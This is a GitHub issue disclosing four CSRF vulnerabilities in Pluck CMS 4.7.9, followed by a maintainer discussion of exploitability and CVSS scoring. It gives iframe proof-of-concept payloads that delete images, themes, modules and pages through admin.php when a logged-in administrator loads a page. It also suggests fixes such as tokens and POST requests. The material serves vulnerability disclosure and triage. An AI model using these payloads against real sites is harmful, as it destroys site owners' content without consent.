New issue
Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.
By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.
Already on GitHub? Sign in to your account
Four CSRF vulnerabilities in pluck cms 4.7.9 #69
Comments
|
The fourth is to use the CSRF vulnerability to delete articles |
|
Funny, even github is vulnerable.. it opened a new window for me ;) How would you exploit this? Admins are instructed to go to the domain.tld/login.php to logon to Pluck. Please explain an attack vector in which the admin is not willingly logged on to the admin page. |
|
Dear Eugene, Thank you for the thumbs down emoji. You deleted your comment that I will never understand security, since you don't know me, you cannot state this fact. I am a Penetration Tester since 2008 and have successfully penetrated several applications and websites. You have several types of attack vectors. For this you need two, Social Engineering and Phishing. With a code audit (which is now possible as you stated that it is open source) you can maybe find exploits. Lots have been found and fixed. We are always open to learn about new exploits and bugs. If you see another attack vector which can be used at this moment please let me know and I will certainly fix this for you, until then it is rated LOW and I think it will be a won't fix. Waiting for you reply, Kind regards, |
|
Hi Bas Steelooper,I sent an email to your steelooper mailbox. |
|
I have tried several times to do this on websites with some kind of automation, but without access to the machine of the admin this is not possible to exploit. |
|
This is an invalid report. With the password the complete website can be taken over. Without the password this is not exploitable. |
|
With a CSRF attack, it does not require the attacker to know the password. It requires the attacker to trick an admin who is authenticated to the app, to click a malicious link, that will invoke an action with the admin's privileges. This is very different than the two authenticated file upload issues that were rejected as invalid. |
|
Dear Jericho, So how would this be exploitable for Pluck? Pluck is a CMS for small websites which have little updates. Again, I don’t see a valid exploit path for this. Without an attack vector this report is invalid, the attack vector has been asked and not supplied, but the CVE has been marked HIGH and easy exploitable by the OP. |
|
It would be a targeted attack, yes, and you would have to know the administrator of the site. But really that is all you need, and to trick them into clicking the link. That makes the complexity of attack higher than some attacks, but it is the same complexity as a reflected XSS attack. The idea is that they are already authenticated, as many apps allow an admin to stay authenticated for long periods of time without having to re-authenticate for convenience. If that isn't the case and the app terminates a session after X minutes, then the difficulty of exploitation is even higher. As far as knowledge past that, I am not familiar with Pluck. If Pluck uses sequential numeric designations for something, then the attacker doesn't need to know anything specific about the victim's installation, they can send the CSRF to delete a page and specify e.g. "page 1" (however that is translated to parameters in the request). If Pluck uses custom names instead of numbers e.g. 'mypage', then yes, the difficulty of attack goes up even higher and is not likely to happen at all. That said, CSRF is a valid attack. Most CSRF reported (~ 222 this year that I have seen) rely on the software not having such custom naming elements. In most cases, the attacker could download the software, perform the requests themselves, capture the GET or POST request w/ parameters, and use that to form the attack. More information: https://www.owasp.org/index.php/Cross-Site_Request_Forgery_(CSRF) Using CVSSv2, a CSRF attack is only rated as 4.3. Using CVSSv3, a CSRF attack is rated as 8.8, and 'High', which many people feel is absurd given the preconditions that exist. Personally, I would ignore the 'High' rating and focus on the requirements for attack and the capability for damage, and triage accordingly. |
|
Dear Jericho, Pluck uses custom naming. The names of the pages are derived from the name, and can be modified by the user. The display in the url is a seo optimized name, the edit and delete urls require the file name, which is in most cases the same, but this is not a guarantee. Pluck has a session timeout from Apache/nginx with php, which defaults to 30 mins. When the session is expired the user is logged of. Returning to the page requires you to re-logon. The attack therefor needs the following steps:
As said before I don’t see the attack vector for Pluck. We don’t have a stay logged on option or something similar. On a side note... nothing is deleted definitely. It is put in the thrashcan and can be restored with 1 click. |
|
With all of that in mind, the risk rating would go down further. Access complexity would be 'high' instead of 'medium', and the window for attack along with knowledge required would make this extremely difficult to perform I would assume. It sounds like Pluck has a great system for defense in depth here. On an academic level, this is still a vulnerability. In reality, this is what we call a "and pigs may fly" attack scenario. =) Thanks for taking the time to detail all of that. I really appreciate when project maintainers dig in a bit to figure out these details. It is always refreshing and encouraging to see. |
|
BTW, changing the access complexity from 'medium' to 'high' changes the CVSSv2 score to 2.8 and CVSSv3 score to 5.3. I still think the v3 score is not a good representation of the severity of this issue. |
One: use CSRF vulnerability to delete pictures
<iframe src="http://127.0.0.1/pluck/admin.php?action=deleteimage&var1=test.jpg" >Vulnerability details:
When the administrator logs in, opening the webpage will automatically delete the specified image.
Vulnerability url: http://127.0.0.1/pluck/admin.php?action=images
Vulnerability POC:
Two: use the CSRF vulnerability to delete the topic
<iframe src="http://127.0.0.1/pluck/admin.php?action=theme_delete&var1=oldstyl">Vulnerability details:
When the administrator logs in, opening the web page will automatically delete the specified topic.
Vulnerability url: http://127.0.0.1/pluck/admin.php?action=theme
Vulnerability POC:
Three: use CSRF vulnerability to remove the module
<iframe src="http://127.0.0.1/pluck/admin.php?action=module_delete&var1=albums " >Vulnerability details:
When the administrator logs in, open the webpage and the specified module will be deleted automatically.
Vulnerability url: http://127.0.0.1/pluck/admin.php?action=modules
Vulnerability POC:
Four: use CSRF vulnerability to delete pictures
<iframe src="http://127.0.0.1/pluck/admin.php?action=deletepage&var1=aaaa">Vulnerability details:
When the administrator logs in, opening the web page will automatically delete the specified article.
Vulnerability url: http://127.0.0.1/pluck/admin.php?action=page
Vulnerability POC:
Vulnerability suggestions:
One: Detect user submissions by referer, token, or verification code.
Second: It is best to use the post operation for users to modify and delete.
The text was updated successfully, but these errors were encountered: